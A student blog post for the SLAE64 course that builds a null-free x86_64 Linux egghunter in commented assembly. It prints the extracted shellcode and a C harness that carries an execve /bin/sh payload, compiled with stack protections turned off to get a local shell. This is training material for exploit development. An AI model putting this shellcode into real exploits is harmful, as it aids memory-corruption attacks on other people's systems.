SLAE64
SLAE64

This post introduces my 3rd mission of my SLAE64 journey.

Introduction

The primary goal for the third SLAE64 assignment is to create an egghunter shellcode with the following requirements:

  • Create a working demo of the Egghunter;
  • The shellcode should be null-free;
  • With the ability to be configurable for different payloads.

Creating an Egghunter Shellcode

There is a lot of overlap information with my post regarding the SLAE32 Egghunter Shellcode. I advise you to look at it if you haven’t done it already. There are some essential concepts and ideas to understand what and why the shellcode is doing.

Egghunter
From: https://www.secpod.com/blog/hunting-the-egg-egg-hunter/

So my challenge was to port the 32-bit to the 64-bit version and see what differences needed to be applied.

“Assembling” our Egghunter

As the shellcode is similar to the 32-bit version, I’ll put directly the final commented version below.

; Student ID   : PA-31319
; Student Name : Eduardo Silva
; Assignment 3 : Egghunter Shellcode (Linux/x86_64) Assembly
; File Name    : egg_hunter.nasm

global _start

section .text
_start:

        xor rcx, rcx
        mul rcx ; zeroes rax and rdx too

page_alignment:
        or dx, 0xfff    ; sets dx to 4095

address_inspection:
        inc rdx         ; sets dx to 4096
        xor rsi, rsi    ; mode 0 in rsi
        mov rdi, rdx    ; move memory address rdi
        xor rax,rax
        add al, 21      ; sys_access syscall
        syscall

        cmp al, 0xf2    ; checking if sys_access result in EFAULT exception
        jz page_alignment

        mov rax, 0x5090509050905090 ; egg to search in memory
        mov rdi, rdx                ; comparing egg with memory location
        scasq
        
        jnz address_inspection  ; move to next address and inspect doing 
        
        ;all process again
                
        scasq                   ; checking for double egg
        jnz address_inspection

        jmp rdi                  ; we found our egg!!! 

Compiling and Testing the Shellcode

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86_64/assignments/3-Egg-Hunter-Shellcode ‹main●› 
╰─$ ../../assembler.sh egghunter.nasm 

[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 54

"\x48\x31\xc9\x48\xf7\xe1\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x31\xf6\x48\x89\xd7\x48\x31\xc0\x04\x15\x0f\x05\x3c\xf2\x74\xe7\x48\xb8\x90\x50\x90\x50\x90\x50\x90\x50\x48\x89\xd7\x48\xaf\x75\xdb\x48\xaf\x75\xd7\xff\xe7"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include <stdio.h>
#include <string.h>

unsigned char egghunter[] = "\x48\x31\xc9\x48\xf7\xe1\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x31\xf6\x48\x89\xd7\x48\x31\xc0\x04\x15\x0f\x05\x3c\xf2\x74\xe7\x48\xb8\x90\x50\x90\x50\x90\x50\x90\x50\x48\x89\xd7\x48\xaf\x75\xdb\x48\xaf\x75\xd7\xff\xe7";
unsigned char shellcode[] =  \
"\x90\x50\x90\x50\x90\x50\x90\x50"
"\x90\x50\x90\x50\x90\x50\x90\x50"
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main(void)
{
    printf("Egg hunter length: %d\n", strlen(egghunter));
    printf("Shellcode length: %d\n", strlen(shellcode));

    printf("Memory Location of Shellcode: %p\n", shellcode);
    printf("Memory Location of EggHunter: %p\n", egghunter);

    int (*ret)() = (int(*)())egghunter;
    ret();

    return 0;
}

To execute a shell I used the execve shellcode stack covered during the course.

# gcc and its modern protections - PIE (Position Independent Code)

After compiling and retesting the code multiple times it always had abnormal beahviour and I couldn’t make it work for anything.

After some researchign I found out teh reason for that it was due to, gcc in my machine being compile by default with PIE protection enabled.

gcc &ndash;enable-default-pie
gcc --enable-default-pie

More info here

the conclusion is our egghunter shellcode in not position independent code. The solution was to compile it with gcc with the aditional flag -no-pie as stated in the docs.

Compiling with gcc and executing it

╭╭─edu@debian ~/Desktop/slae_x86_64/assignments/3-Egg-Hunter-Shellcode ‹main●› 
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c -no-pie

╭─edu@debian ~/Desktop/slae_x86_64/assignments/3-Egg-Hunter-Shellcode ‹main●› 
╰─$ ./shellcode 
Egg hunter length: 54
Shellcode length: 48
Memory Location of Shellcode: 0x4040a0
Memory Location of EggHunter: 0x404060
$ whoami
edu
$ 

We get a shell!!!


This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64